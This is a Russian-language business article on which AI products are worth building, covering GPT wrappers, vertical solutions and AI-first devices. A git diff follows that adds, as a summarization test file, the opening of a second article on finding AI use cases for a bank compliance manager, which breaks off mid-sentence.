Открытие доступа к GPT-моделям включает рыночные механизмы, которые начинают размывать добавочную ценность Jasper, что бьет по их модели роста. Теперь все становится сложнее. В конце 2022 года OpenAI запустили собственный конкурирующий B2C-продукт — ChatGPT. ChatGPT набрал огромную популярность и буквально за несколько месяцев привлек сотни миллионов пользователей. Параллельно, другие сервисы — от Google Docs до Notion — добавили AI-фичи для работы с текстом. Кроме того, появился свободный доступ к API моделей, благодаря чему возникло множество аналогичных сервисов для написания текстов. Как следствие, рост Jasper сильно замедлился. Компания снизила на 30% прогноз роста на 2023 год, сократила штат, сменила CEO и даже урезала внутреннюю оценку компании. Получилось ли у Jasper построить крупный бизнес? Да. Получится ли у них выполнить цель в $250 миллионов выручки в 2024 году? Скорее всего, нет. Получится ли у них генерировать прибыль в долгосрочной перспективе? С учетом темпов улучшения ChatGPT и других бесплатных альтернатив, тоже, скорее всего, нет. Исключения всегда возможны Проблема «оберток» возникает тогда, когда добавочная ценность продукта сводится к самой «обертке». Тогда бизнес не обладает никакой защищенностью перед обновлениями модели. Но возможны специфичные сценарии, которые все меняют. Представьте, что «обертка» поверх фундаментальной модели становится лишь одним из кусочков цепочки создания ценности в бизнесе. Скажем, бизнес позволяет анализировать и доставать данные из документов (тут и работает «обертка»), но делает все это локально в рамках контура компании (в силу требований по защите данных и приватности), проинтегрирован с большим количеством специфичных источников данных, соответствует требованиям регулятора, попадает к конечным клиентам через сложный процесс продаж крупным организациям. Мне известны примеры таких исключений — и мы обсудим их дальше, когда будем говорить о том, какие продукты имеет смысл делать. Новые продукты в нишах, где текущие игроки уже внедряют AI В одном из интервью основатель Monzo, крупнейшего необанка Великобритании, делился данными, что поддержка пользователей на высоком уровне качества обходится компании порядка £12–13 на клиента в год. На данный момент у Monzo около 10 миллионов клиентов, а значит, грубая оценка стоимости обеспечения качественного саппорта составляет £120–130 миллионов в год. Вопрос: позволит ли новая волна технологий решать задачу поддержки пользователей эффективнее, а как следствие, снизить расходы Monzo и множества других компаний? Ответ: да. Значит ли это, что открылось окно возможностей для создания новой AI-first компании на рынке поддержки пользователей? Скорее всего, нет. С высокой вероятностью новая ценность будет создана текущими игроками рынка и разделена между ними. В чем проблема сегмента Компаниям, которые лидируют на рынке инструментов для поддержки пользователей, выгодно добавлять новую AI-функциональность в свои продукты. Этого ожидают и их клиенты, и их инвесторы. Что не менее важно — у этих компаний есть необходимая экспертиза и ресурсы для реализации таких проектов. Поэтому новым AI-first компаниям в этом сегменте будет очень сложно убедить потенциальных клиентов переключиться на их решения. Текущие провайдеры уже глубоко встроены в их процессы и будут достаточно быстро внедрять важные инновации. Это рассуждение верно для множества индустрий и ниш, где AI можно внедрить в существующие продукты и сделать их лучше. Лидеры этих рынков с радостью интегрируют новые возможности, рассказывают про это на звонках с инвесторами и показывают в презентациях для клиентов. И у них есть огромные преимущества по сравнению с потенциальными новыми продуктами: база пользователей, готовая базовая функциональность, интеграции в процессы клиентов, отлаженная модель роста и продаж. Примеры продуктов Возьмем Intercom, одного из лидеров на рынке решений для поддержки пользователей. В начале 2023 года они начали первые эксперименты с внедрением GPT-моделей. Уже через несколько месяцев они выпустили своего ассистента, который должен был помочь ответить на 50% вопросов пользователей. В апреле того же года они запустили Fin AI Copilot, AI-ассистент для агентов поддержки, который предоставляет моментальные ответы на основе базы знаний компании и предыдущих диалогов с пользователями. Если посмотреть на релизы Intercom за последний год (прочитайте заголовки публикаций в блоге об изменениях в продукте), то станет понятно, что AI является центральным элементом их продуктовой стратегии. Другой пример — Chatfuel, сервис для создания чат-ботов для Facebook* Messenger. Компания своевременно заметила потенциал новой волны AI-технологий и начала экспериментировать с созданием решений под конкретных клиентов, а потом и с полноценным внедрением работающих частей в продукт. На сегодняшний день именно AI-продукты компании являются одним из основных драйверов развития и роста Chatfuel (убедиться в этом поможет описание актуальных продуктов на главной странице сайта). Исключения всегда возможны Есть сегменты рынка, где компании могут выиграть от внедрения AI, но у них нет экспертизы и специалистов, чтобы это сделать. Здесь возникают возможности для стартапов. Мы поговорим об этом дальше. Есть индустрии и юзкейсы, где добавление AI будет рискованным для крупных компаний из-за возможных юридических проблем или PR-скандалов. Например, в Google первыми разработали модель генерации изображений на основе текста — Imagen, предшественник Midjourney. Но в Google отказались от запуска продукта на базе этой модели в силу потенциальных этических, юридических и других рисков. Это открыло окно возможностей для Midjourney и OpenAI (Dall-E). Забавно, что за последние несколько лет OpenAI достигла такого масштаба, что теперь уже они боятся релизить новые прорывные продукты по тем же самым причинам. В сегменте генерации видео это открывает возможности для стартапов вроде Runway и Luma. Эти компании открывают свои продукты для широкой аудитории, пока OpenAI боится сделать это со своей моделью Sora. Продукты для AI-разработчиков Во времена золотой лихорадки нужно торговать лопатами, а не добывать золото. Самым яркой иллюстрацией этого тезиса является компания Nvidia, которая создала самую универсальную и востребованную «лопату» в мире AI-разработки: их чипы остаются незаменимыми для обучения моделей. Использованный Nvidia принцип верен и для других компаний, которые создают продукты для AI-разработчиков. Примеры продуктов ElevenLabs, Play AI, Vapi — сервисы генерации аудио на основе текста. Hugging Face — платформа, которая предоставляет доступ к широкому спектру предобученных моделей для задач NLP (Natural Language Processing), работы с аудио, работы с компьютерным зрением. Evidently.ai — решение для мониторинга данных и моделей (в том числе больших языковых). В чем проблема сегмента Продукты для разработчиков — очень перспективное и интересное направление. Особенно если исходить из предположений, что AI действительно станет важной частью мира, создаст огромную ценность и существенно повысит производительность труда в долгосрочной перспективе. Проблема же заключается в том, что такие продукты намного больше подходят фаундерам-инженерам. Технический фаундер будет намного лучше понимать и чувствовать проблемы потенциальных клиентов, а также будет обладать необходимой экспертизой, чтобы увидеть возможности для создания ценности. Цель же моих размышлений — ответить на вопрос о том, какие AI-продукты стоит делать людям с продуктовым бэкграундом. Еще раз о том, какие продукты не имеет смысла делать Промежуточный итог. Вот AI-продукты, которые делать людям с продуктовым бэкграундом, на мой взгляд, не имеет смысла: Фундаментальные технологические продукты, а также производные от них массовые B2C-продукты; «Обертки» поверх GPT-моделей; Новые продукты в нишах, где текущие игроки уже внедряют AI; Продукты для AI-разработчиков. Все это примеры продуктов, которые могут создавать ценность, но ее трудно или невозможно защитить от IT-гигантов, лидеров рынков или попросту конкурентов. Теперь перейдем к ответу на главный вопрос материала. Какие AI-продукты имеет смысл делать К категории продуктов, которые имеет смысл делать, я буду относить те, что могут управляемо расти и генерировать прибыль на протяжении длительного времени. Для выявления таких продуктов нужно определить ниши, где AI создает существенную ценность, которую при этом возможно защитить от: Крупных технологических компаний (им выбранная ниша должна быть неинтересна по какой-то причине, а их массовые B2C-продукты будут существенно хуже решать задачу пользователей, чем ваш продукт); От будущих улучшений фундаментальных моделей (в идеале они должны приносить вам пользу: от улучшения модели ваш продукт будет становиться только лучше); От прямой конкуренции (должны включиться классические механизмы защиты: сетевые эффекты, бренд, защищаемые каналы дистрибуции, эффект масштаба, наличие ограниченного ресурса и так далее). Исходя из этих принципов, я выделяю следующие категории: Продукты для автоматизации ручных процессов в больших компаниях; Вертикальные интегрированные решения; Сервисные индустрии, где AI позволяет продуктивизироваться; Принципиально новые AI-first продукты. Давайте обсудим их подробнее. Продукты для автоматизации процессов в больших компаниях В любой крупной компании вы найдете много ручных неэффективных процессов. Это особенно верно за пределами технологического сегмента рынка. Технологии генеративного AI позволяют автоматизировать многие процессы, которые раньше оставались в зоне ручного труда. Согласно исследованию McKinsey, генеративный искусственный интеллект в сочетании с другими технологиями автоматизации может позволить автоматизировать до 60–70% рабочих процессов практически во всех профессиях к 2030 году. Не забывайте, что еще несколько лет назад примерами передовых NLP-технологий были Siri и Alexa, а не GPT-4o и Gemini. Причины таких неэффективностей в процессах крупных компаний обычно кроются либо в их инертности, либо в отсутствии необходимых технологий для автоматизации. И то, и другое в данном случае работает вам на пользу. Если компания не обладает экспертизой, чтобы новые технологии применить самостоятельно, то это существенно повышает ценность вашего продукта и экспертизы. Инертность же крупной организации создает защиту от конкуренции. Чтобы проникнуть в нее с AI-продуктом для автоматизации, недостаточно создать технологию и сам продукт. Нужно будет построить эффективный процесс дистрибуции, продаж и внедрения. Необходимость построения команд продаж и внедрения, а также относительно небольшой размер отдельных сегментов «ручных работ», поддающихся автоматизации, сделают эти ниши неинтересными для крупных компаний и недоступными для массовых фундаментальных продуктов (почитайте мой телеграм-пост про закрытие Workplace****). Для стартапа же размера этих сегментов «ручных работ» будет вполне достаточно. Особенно с учетом потенциала расширения в смежные сегменты и задачи в будущем. Примеры продуктов Хорошим примером будет Permitflow — продукт, который помогает автоматизировать получение различных разрешений и лицензий для строительных компаний. На данный момент эта задача преимущественно решается вручную. Людям надо самостоятельно или с помощью консультантов разбираться в сложных требованиях, продираться через нагруженный терминологией язык в документах, отвечать на множество вопросов. Permitflow помогает оцифровать и частично автоматизировать процесс, в том числе используя возможности генеративного AI. Создание такого продукта требует глубокого погружения в регуляторную специфику на уровне отдельных городов, адаптацию под особенности получения разных типов разрешений. Более того, целевой сегмент — это строительные компании, которые далеки от технологий, а значит, потребуется добавить процессы продажи, внедрения, обучения. Все это создает защищенность бизнеса. Еще один пример. Недавно я познакомился с проектом ранней стадии, который помогает автоматизировать ручную работу сотрудников комплаенса финансовых организаций. На текущий момент 90% задач таких сотрудников решаются вручную. Они часто сводятся к анализу большого количества документов, к поиску информации про человека или компанию в публичных источниках, ее анализу и структурированию. Многие из этих задач можно существенно упростить или целиком автоматизировать с помощью генеративного AI. Несмотря на то что продуктовая ценность здесь создается с помощью «оберток» поверх фундаментальных моделей (а такие продукты ранее были отнесены в категорию «нет смысла делать»), описанная выше продуктовая конструкция достигает достаточной защищенности в силу ряда факторов: Во-первых, «обертка» становится лишь малой частью целого продукта. Во-вторых, продукт целится в сегмент с массой ограничений, связанных с регуляторными требованиями, безопасностью и так далее. В-третьих, дистрибуция таких продуктов требует специального процесса продаж, внедрения и обучения. Как можно подступиться к сегменту При работе над такими продуктами имеет смысл начинать с сервисной или консалтинговой модели (можно смело предположить, что ряд консалтинговых компаний уже двигаются в этом направлении). Вам потребуется находить клиентов, которые готовы заплатить за создание кастомного решения под их конкретную задачу. По мере набора клиентов нужно искать общий знаменатель среди проектов, который можно будет превратить в продукт. Такой подход позволит одновременно изучать проблемы клиентов, учиться продавать, а главное — искать воспроизводимую форму продукта. Вертикальные интегрированные решения После того как Google выиграл поисковый рынок, многие сходились во мнении, что конкурировать с ним невозможно. По крайней мере, в лоб. Это действительно оказалось бессмысленно. Достаточно посмотреть на безуспешные попытки поиска Bing в США или же поиска «Яндекса» в Турции. Зато прекрасно сработала стратегия вертикализации. Многие вертикальные продукты преуспели и смогли отъесть долю рынка Google. Например, в поиске товаров Amazon уже давно обогнал Google. Почему? Искать сразу на Amazon эффективнее, чем делать это в Google. Amazon — это вертикальное решение, заточенное под поиск и покупку товаров. Аналогичная динамика наблюдается и в других вертикалях. В поиске авиабилетов уверенно себя чувствуют Kayak, Skyscanner и Expedia. В поиске квартир и домов — Zoopla, Rightmove, Opendoor, Zillow. В поиске отелей — Booking, Airbnb. В поиске вакансий и сотрудников — Linkedin, Indeed. Мы уже обсуждали, что на старте новой технологической волны часто появляются массовые горизонтальные продукты. Но у таких продуктов есть слабое место — они не могут глубоко затачиваться под каждую конкретную задачу. Это открывает возможности для стартапов. Вертикализация — одна из классических стратегий для стартапов в конкуренции с массовыми горизонтальными продуктами. Суть стратегии заключается в том, чтобы сфокусироваться на узком сегменте и создать заточенное под задачу решение, которое будет существенно эффективнее прежних. Наиболее показательный пример использования этой стратегии — это вертикализация Craigslist, одного из старейших классифайдов. Практически из каждой категории Craigslist выросли многомиллиардные сервисы, заточенные под решения конкретной задачи. Как это соотносится с текущим состоянием AI-рынка? Мы находимся в точке, где на рынке появились и доминируют первые массовые горизонтальные решения вроде ChatGPT, Perplexity, Gemini и других. Нет смысла идти и конкурировать с ними напрямую. Но можно (и нужно) искать сегменты, где за счет вертикализации можно создать существенную добавочную ценность и сформировать крепкие защитные механизмы. Несколько идей, куда можно смотреть в поиске таких возможностей: Зарегулированные сферы; Сферы, которые ограничивают использование массовых продуктов на основе генеративного AI; Компании с особыми требованиями к безопасности данных (Finance, Health, Legal); Задачи, для решения которых нужны специфичные интеграции и данные. Примеры продуктов Выше мы обсуждали пример компании Jasper, которая разрабатывает сервис для написания текстов. Перспективы роста этого сервиса резко ухудшились в связи с появлением ChatGPT и множества конкурентов. Давайте поговорим про Jenni — похожий инструмент, который специализируется на помощи в написании научных работ. Именно этот узкий фокус позволяет Jenni дифференцироваться и формировать защитные механизмы. Один из главных защитных механизмов от конкуренции с крупными технологическими компаниями сводится к тому, что использование генеративного AI в образовательном контексте — очень противоречивая тема. Многие университеты и школы выступают против, блокируя использование ChatGPT и похожих инструментов. Для OpenAI или Google написание научных работ — это узкий сегмент рынка, и они не готовы бросать на него отдельные силы. Тем временем Jenni последовательно выстраивает отношения с рынком, завоевывая доверие университетов, научных работников и студентов. Вертикализация также позволяет создать и продуктовое преимущество, заточившись под особенности процесса. Написание научных работ требует указания источников в специальном формате (APA, MLA, IEEE, Chicago, Harvard), специального форматирования для формул (умение обрабатывать LaTeX, DocX, PDF), способности работать с Reference Management Software и bib-файлами, генерации текста без риска получить обвинение в плагиате. Помимо этого фокус на написании научных работ, которые требуют ревью и фидбека, добавляет пласт сетевых эффектов и виральности среди студентов и сотрудников университета. Таким образом, вертикализация и затачивание под юзкейс написания научных работ позволяют Jenni и создавать добавочную ценность на уровне продукта, и формировать защиту от конкуренции. Все это выливается в стремительный рост. При этом рост прибыльный. Еще один пример успешной компании, построенной вокруг вертикального продукта, — Synthesia. Компания начала свой путь с технологии создания AI-аватаров, способных презентовать информацию. Но потом нащупала юзкейсы вокруг образования для крупных компаний и полностью перестроила свои коммерческие продукты под эту вертикаль. Вот как это работает. У большинства крупных компаний есть внутренние отделы, которые закрывают множество задач по обучению сотрудников. Для их решения обычно использовались классические инструменты записи видео с реальными людьми, последующего редактирования, обработки, добавления графики и контента, выкладки в LMS. Это очень дорого. Еще дороже обновлять эти материалы в будущем. Synthesia позволила радикально сократить расходы на создание образовательных видео. И еще сильнее — на их последующие изменения. Теперь для этого не надо было переснимать материал, достаточно лишь изменить текст скрипта и перегенерировать видео. На сегодняшний день инструменты Synthesia используют более половины Fortune 500 компаний. Это значит, что в Synthesia: Выстроили процессы продаж, внедрения и обучения для крупных клиентов; Получили необходимые сертификаты и прошли проверки, чтобы оказаться допущенными до внутреннего IT-контура больших организаций. Более того, компания продолжает активно развивать качество генерации и затачивать свое решение под нужды клиентов, добавляя необходимые клиентам фичи под специфичные юзкейсы. Все это делает бизнес Synthesia хорошо защищенным: Крупные технологические компании не будут затачивать решения под конкретный юзкейс и строить механизмы продаж под него даже для крупных клиентов. Фундаментальные модели для генерации видео и аватаров очень сильно уступают Synthesia в рамках юзкейса обучения сотрудников в крупных компаниях. Прямым конкурентам тоже будет сложно — самые желанные клиенты уже используют Synthesia, а убедить их перейти на похожее решение будет нечем. 💡 Следующая категория идей нравится мне больше всего. Если вы делаете что-то подобное, то буду рад познакомиться и пообщаться. Пишите на oleg@gopractice.io. Сервисные индустрии, где AI позволяет продуктивизироваться Когда появляются новые технологии, то большинство компаний и команд начинают искать способы дать клиентам новые возможности и опыт. Научиться делать то, что раньше было невозможно. Намного менее привлекательным выглядит поиск возможностей делать привычные вещи дешевле и эффективнее. Но именно тут часто кроются скрытые возможности для создания ценности с помощью новых технологий. В контексте раскатывающейся AI-волны стратегия «делать привычное дешевле и эффективнее» становится особенно интересной применительно к агентским и сервисным индустриям, которые соответствуют следующим критериям: Высокая фрагментированность. Много малых и средних бизнесов без явного лидера с большой долей рынка. Низкая дифференциация. Предложение и возможности компаний мало друг от друга отличаются. Предсказуемый и легко воспроизводимый нефизический труд. Компании нуждаются в большом количестве сотрудников без специфичных уникальных навыков, которые совершают однообразные действия, например обзванивают потенциальных клиентов или собирают типовые данные. Вот почему интересны именно такие сегменты. В этих сегментах технологии генеративного AI позволяют превратить агентский или сервисный бизнес в продуктовый. Может быть не целиком, но в значительной степени. И часто этого будет достаточно, чтобы существенно поменять структуру расходов и, как следствие, улучшить маржинальность бизнеса. Откуда берется защищенность бизнеса в такой модели? Крупные технологические игроки в такие сегменты рынка не пойдут: для них это слишком мелко и сложно. Прямая конкуренция со стороны существующих компаний — это норма жизни таких рынков (что и выражено через низкую дифференциацию и высокую фрагментированность). При этом вероятность, что другие игроки смогут реализовать то, что сделаете вы, минимальна: как правило, у них нет нужных навыков для применения AI и других технологий. Примеры продуктов Давайте посмотрим на стартап Dwelly, работающий на британском рынке сдачи недвижимости в аренду. Команда берет существующие процессы агентств и перестраивает их с помощью AI и других технологий так, чтобы значительно улучшить клиентский опыт и повысить эффективность. Рынок сдачи квартир в аренду очень фрагментированный (есть огромное количество агентств, а лидер рынка контролирует менее 10%). Подавляющее большинство из них — это малые или средние компании с большим количеством ручного труда и минимальной автоматизацией (в лучшем случае простенькая CRM, чаще — очень много Excel и Word). Несмотря на это, большинство компаний работает в плюс. При этом внутри таких агентств есть множество процессов, которые можно автоматизировать с помощью AI. Например: Ручная заливка новых квартир на сайт и маркетплейсы; Ручной процесс сбора лидов на сайте или маркетплейсе, их обзвон сотрудником для заполнения данных о клиенте и назначения встреч для просмотров; Ответы на типовые вопросы про объекты недвижимости; Процессы поддержки жильцов, решения проблем, сертификаций и так далее. Автоматизация таких процессов на уровне небольшого агентства снижает количество необходимых для его функционирования людей, улучшает опыт конечных клиентов и существенно повышает маржинальность. Другой пример из похожего по структуре рынка. Возьмем бухгалтерские услуги для малого и среднего бизнеса. Большая часть компаний в этом сегменте работает на основе базовых IT-автоматизаций (софт для бухгалтерии) и преимущественно ручного труда поверх софта. Если сузить таргет клиентов до одного достаточно типового бизнеса, то с высокой вероятностью комбинация существующего софта и новых возможностей генеративного AI сможет забрать существенную часть ручной работы на себя. В этом случае людям останется лишь проверять результаты работы. Опять же на выходе получаем совершенно другую эффективность (один человек может обслуживать намного больше клиентов) и маржинальность. Есть множество других рынков, где компании в существенной части процессов полагаются на работников без уникальных навыков, которые снова и снова воспроизводят весьма предсказуемые действия вроде созвонов или сбора данных. Именно здесь генеративный AI может оказаться особенно эффективен. Как подступиться к сегменту Ключевой шаг — доказать на примере одного реального бизнеса, что ваша гипотеза по автоматизации процессов работает. Далее возможны совершенно различные стратегии того, как эту ценность донести до конечных клиентов и конвертировать в прибыль или капитализацию компании. Это могут быть и партнерства, и агрессивный рост через демпинг, и более классический подход из Private Equity (покупка компаний и оптимизация процессов). Особенность этой категории продуктов в том, что фасад бизнеса может не меняться: вы будете продавать те же услуги, что и раньше. При этом внутри вместо дорогой и сложной в поддержке человеческой системы у вас появится легко воспроизводимый автоматизированный процесс. Можно сказать, индустриализация сервисных индустрий. Принципиально новые AI-first продукты Как всегда бывает с появлением новой технологии, первые внедрения принимают форму фичей в существующих продуктах. Распространение интернета было ознаменовано созданием корпоративных интернет-сайтов обычных компаний. Лишь спустя время начали появляться нативные онлайн-продукты, которые не были возможны до этого. Так появились Google, Facebook*, Pinterest, всевозможные SaaS-бизнесы. Первые мобильные приложения были продолжением интерфейса существовавших в интернете сервисов на маленькие экраны смартфонов. Сначала у Flickr появилось приложение для iPhone. Параллельно появлялось множество приложений для фото, которые уже давно всеми забыты. И лишь спустя время Instagram*** нашел комбинацию камеры, фильтров и социального графа, которая позволила создать нативный для мобильных телефонов опыт. Еще позже Snap и TikTok соединили камеру, тачскрин, видео и алгоритмы рекомендаций, чтобы создать нечто еще более подходящее для мобильных платформ. В AI-волне мы находимся на стадии, где большие продукты пока добавляют AI-фичи, которые редко принципиально меняют пользовательский опыт. Давайте вспомним, как все продукты Microsoft и Google за прошлый год запустили фичи «генеративного» AI. Параллельно же начинают появляться интересные новые продукты, которые перепридумывают решение проблем пользователей с позиции базовых принципов. Я верю, что со временем таких продуктов будет появляться все больше. На данный момент невозможно предсказать, какие из этих экспериментов окажутся успешными. Несмотря на это, ниже я поделюсь примерами компаний, которые привлекли мое внимание и могут претендовать на звание нативных AI-продуктов. Limitless AI — устройство, которое запоминает все Дэн Сайрокер, бывший генеральный директор и сооснователь Optimizely, запустил новую компанию в области искусственного интеллекта под названием Limitless AI. Limitless AI призван увеличить мощность человеческого мозга. Для этого продукт обучен запоминать все, что происходит в вашей жизни: то, что вы видите на экране компьютера или смартфона, то, что вы говорите на звонках или в беседах с людьми на протяжении дня. Далее же Limitless AI позволяет моментально получать доступ и контекст ко всей этой информации, задавать к ней вопросы по аналогии с ChatGPT. Продукт живет в большом количестве сред: на ноутбуке, на смартфоне, а также в реальном мире в виде носимого устройства. Видео с презентацией продукта. Крутой концепт, сильная команда. Очень специфичная ниша, которую крупные игроки не будут трогать еще много лет из-за рисков на уровне приватности данных и рисков для бренда. Компания показывает хороший трекшн. ARR составляет около $2 миллионов долларов. Последний раунд привлекался по оценке в $350 миллионов. Humane AI — устройство, которое должно заменить смартфон Другой чем-то похожий AI-продукт нового поколения — Humane AI. Он основан Имраном Чаудри и Бетани Бонжурно, бывшими сотрудниками Apple. Цель компании — создать носимое устройство нового поколения, которое сможет заменить смартфон. Основная идея заключается в том, чтобы предоставить пользователям более естественные и интуитивные способы взаимодействия с цифровыми устройствами без необходимости использования экранов и традиционных интерфейсов. Компания привекла более $230 миллионов, заключила партнерства с Microsoft и OpenAI и недавно выпустила первую версию устройства за $699. К сожалению, пока опыт использования продукта оказался ниже ожиданий клиентов. Поэтому фидбек на раннюю версию был смешанным. Продукты, которые пытаются заменить целые профессии В отдельную категорию можно отнести продукты, которые пытаются заменить целые профессии. Именно заменить, а не стать ассистентом или “сopilot” для специалиста. Наиболее яркий пример — компания Cognition Labs, которая разрабатывает AI программиста Devin. В недавнем разговоре Винод Хосла, известный инвестор, упомянул, что они инвестировали в создание AI структурного инженера. А вот пример компании Airs AI, которая строит AI-продавца, способного вести телефонные разговоры с клиентами и продавать продукты. Это очень интересная категория с большими технологическими вызовами, высоким риском и соответствующей наградой в случае успеха. Другими словами, венчурные истории. Еще один интересный проект, который перепридумывает детское образование Если посмотреть на роль учителя в школе, то она объединяет в себе очень много совершенно разных функций: мотивация детей, донесение до них информации в форме лекций, помощь в усвоении информации через практические задания, проверка домашних заданий и контрольных работ, работа с отстающими студентами, поддержание позитивной атмосферы и порядка в классе, а также многое и многое другое. Обучать таких профессионалов в объеме, который нужен образовательной системе, практически невозможно. Из-за этого страдает качество образования. А что если ряд функций современного учителя отдать софту и другим людям, которых не надо так долго учить? При этом самим учителям оставить только самые сложные и важные части образовательного процесса. Например, функции донесения информации, отработки новой информации на примерах, адаптации этих примеров под уровень и интересы ученика вполне может забрать на себя софт на основе генеративного AI (Khan Academy уже показывали, что это возможно реализовать). Функции же мотивации, поддержки детей, формирования позитивной атмосферы и контроля порядка можно дать людям без специальных навыков в конкретных областях. При этом работу с отстающими учениками, помощь в решении сложных задач или изучении углубленных тем останется учителям. Это будет требовать более специфичной и глубокой подготовки от преподавателя, но зато высвободит намного больший его ресурс на самую важную и влияющую на общий результат деятельность. AI-проект, который взялся за решение этой задачи, выбрал более радикальный подход с полным отказом от учителей, выполняющих образовательную функцию. Несмотря на то что проект все еще находится в очень ранней стадии и обкатывается пока лишь на одном учебном заведении, он показывает очень многообещающие и позитивные первые сигналы. В заключение Этот материал родился из моей заметки, в которой я попытался структурировать мысли о том, что имеет смысл строить с помощью новой волны AI-технологий. Наверняка, у вас тоже есть мысли на эту тему, и возможно, они тоже записаны в виде заметок. Буду рад с ними ознакомиться и дополнить или доработать материал. На данный же момент моя категоризация того, какие AI-продукты стоит и не стоит делать людям с продуктовым бэкграундом, выглядит следующим образом: Какие AI-продукты делать нет смысла Фундаментальные технологические продукты, а также производные от них массовые B2C-продукты; «Обертки» поверх GPT-моделей; Новые продукты в нишах, где текущие игроки уже внедряют AI; Продукты для AI-разработчиков. Какие AI-продукты делать есть смысл Продукты для автоматизации ручных процессов в больших компаниях; Вертикальные интегрированные решения; Сервисные индустрии, где AI позволяет продуктивизироваться; Принципиально новые AI-first продукты. Источники, которые были изучены при подготовке материала, и другие заслуживающие внимания дополнительные материалы Benedict Evans, Building AI products Benedict Evans, Looking For AI use-cases Elad Gil, AI: Startup Vs Incumbent Value Y Combinator, Better AI Models, Better Startups (YouTube) More or Less Podcast, #51: Vinod Khosla on What to Build in AI (YouTube) More or Less Podcast, #52: Elad Gil on What to Build in AI (YouTube) TED, Sal Khan, How AI Could Save (Not Destroy) Education (YouTube) NFX, The AI Workforce is Here: The Rise of a New Labor Market Andrew Ziperski, Artificially Intelligent Barbarians Читайте также: Зачем продакт-менеджеру изучать ML и AI Базовое руководство для улучшения качества продуктов с LLM Как найти возможности для применения AI в вашем продукте И другие материалы подборки про AI/ML в продукте. *Facebook принадлежит Meta (признана в России экстремистской организацией и запрещена) **Meta (признана в России экстремистской организацией и запрещена) ***Instagram принадлежит Meta (признана в России экстремистской организацией и запрещена) ****Workplace принадлежит Meta (признана в России экстремистской организацией и запрещена) Автор иллюстрации к материалу — Анна Гольде +============== diff --git a/tests/summarization/https___gopractice.ru_product_finding-potential-ai-applications_.txt b/tests/summarization/https___gopractice.ru_product_finding-potential-ai-applications_.txt new file mode 100644 index 0000000..28804ca --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_finding-potential-ai-applications_.txt @@ -0,0 +1,2 @@ +Как найти потенциал для использования AI в бизнесе — и сделать это так, чтобы он приносил пользу? В этом материале мы разберем пошаговый фреймворк, который поможет вам видеть возможности для применения AI в вашем продукте и бизнесе. Мы изучим этот фреймворк на примере работы комплаенс-менеджера банка. Этот пример вдохновлен реальным опытом. Поиск потенциала для AI в вашем бизнесе Давайте рассмотрим фреймворк*, который может помочь увидеть новые перспективы для создания бизнес-ценности с помощью AI. Мы разберем фреймворк на примере работы комплаенс-менеджера SME-банка (работающего с малыми и средними бизнесами). Затраты на комплаенс для финансовых учреждений — это значимая статья расходов, которая превышает $200 миллиардов в год. Использование AI может заметно снизить эти затраты. Как понять, можно ли (и нужно ли) применять здесь AI Основная идея заключается в том, что AI не автоматизирует работу целиком — он автоматизирует конкретные задачи. Любая работа состоит из множества задач: будь это или профессия (например, юрист, HR-менеджер), или «работа» в терминах фреймворка “jobs-to-be-done” (JTBD). Алгоритм для определения потенциала применения AI: — Определите основные задачи работы. — Проанализируйте каждую задачу: оцените потенциальные решения на основе AI; оцените экономические выгоды; оцените риски. Давайте обсудим каждый шаг более подробно и посмотрим, как он применяется, на реальном примере. Курс «AI/ML-симулятор для продакт-менеджеров» в группе с ментором: 🔹 Научитесь видеть возможности для применения AI/ML в вашей текущей роли 🔹 Запустите собственный продукт с AI/ML → Оставьте заявку на участие в группе ← Как определить основные задачи Вернемся к комплаенс-менеджеру SME-банка: он отвечает за соблюдение нормативных требований и контролирует транзакции клиентов банка. Чтобы понять основные задачи, лучше всего провести несколько часов (или дней) с комплаенс-менеджерами, наблюдая за их типичной деятельностью и задавая вопросы. В результате вы получите список наиболее частых и важных задач. Вот краткий обзор работы комплаенс-менеджера: Менеджер работает со специальным веб-приложением, в котором приведены подозрительные транзакции (такие транзакции обнаруживаются с помощью автоматизированной системы). Вся информация о клиенте доступна через это веб-приложение: бизнес-профиль, загруженные документы, история транзакций, предыдущие уведомления и так далее. Менеджер может общаться с клиентом, чтобы запросить дополнительную информацию. У менеджера есть доступ к внешним источникам для проверки информации о клиентах. Менеджер принимает все решения строго на основе нормативных требований банка. Результатом работы менеджера является одобрение или отклонение подозрительных транзакций и пояснения, связанные с этими решениями. Самые важные задачи комплаенс-менеджера: — Определение категории для документа (счет, договор аренды, контракт, лицензия, разрешение и так далее.) — Проверка каждого документа: Подлинный он или поддельный? В чем его суть? Как он связан с бизнесом клиента? Кто контрагенты? Соответствует ли он нормативным требованиям? — Проверка каждой транзакции: Является ли она ожидаемой для данного типа бизнеса? Является ли сумма типичной? Соответствует ли она информации в документах клиента? — Запрос дополнительных документов у клиентов, если невозможно принять решение. — Принятие решения об утверждении или отклонении транзакции. — Общение с клиентами для объяснения решения по их транзакциям. — Проверка информации о бизнесе клиента во внешних источниках, среди которых: налоговые органы; присутствие в интернете; отзывы на разных площадках; и так далее. Пройти симуляторы от GoPractice можно в группе с опытным ментором. Что вы получите: ✅ Онлайн-встречи для обсуждения прогресса и разбора вопросов ✅ Общение в закрытом чате для постоянной обратной связи с ментором и одногруппниками ✅ Дополнительные кейсы от ментора Поддержка ментора доступна при обучении: → в «Симуляторе управления продуктом на основе данных» → в «Симуляторе управления ростом продукта» → в «AI/ML-симуляторе для продакт-менеджеров» Как анализировать задачи для выявления потенциала AI Мы декомпозировали работу комплаенс-менеджера на повторяющиеся задачи. Теперь мы можем проанализировать каждую из них, чтобы выявить потенциал применения AI. Для каждой задачи нужно: оценить потенциальные решения на основе AI; оценить экономические выгоды; оценить риски. Вы можете провести этот анализ с опорой на свои знания в области AI или вместе с вашей AI-командой. При оценке потенциальных AI-решений стоит использовать все доступные источники: статьи по соответствующим темам; предыдущий опыт AI-команды; брейнстормы с командой и стейкхолдерами; консультации с экспертами предметной области; разведочный анализ имеющихся данных; анализ существующих на рынке решений; анализ решений, которые уже применяются в компании. При оценке экономической выгоды от решения на основе AI нужно определить, как это решение создает ценность для бизнеса и его пользователей. Обычно это будет что-то из следующих категорий: увеличение дохода; снижение затрат; уменьшение времени на выполнение задачи; повышение точности результата; ускорение обработки; улучшение качества обслуживания клиентов. При оценке экономических выгод и рисков используйте примерные оценочные грейды (низкий/средний/высокий) и постарайтесь сформулировать основание для каждого грейда. Чтобы получить такую оценку, нужно синхронизироваться со стейкхолдерами. Такая оценка поможет вам грамотно приоритизировать работу команды. В наших примерах мы будем использовать очень простую систему оценок: Низкая ценность означает, что даже с идеальным техническим решением мы не увидим никакой разницы в доходах или расходах 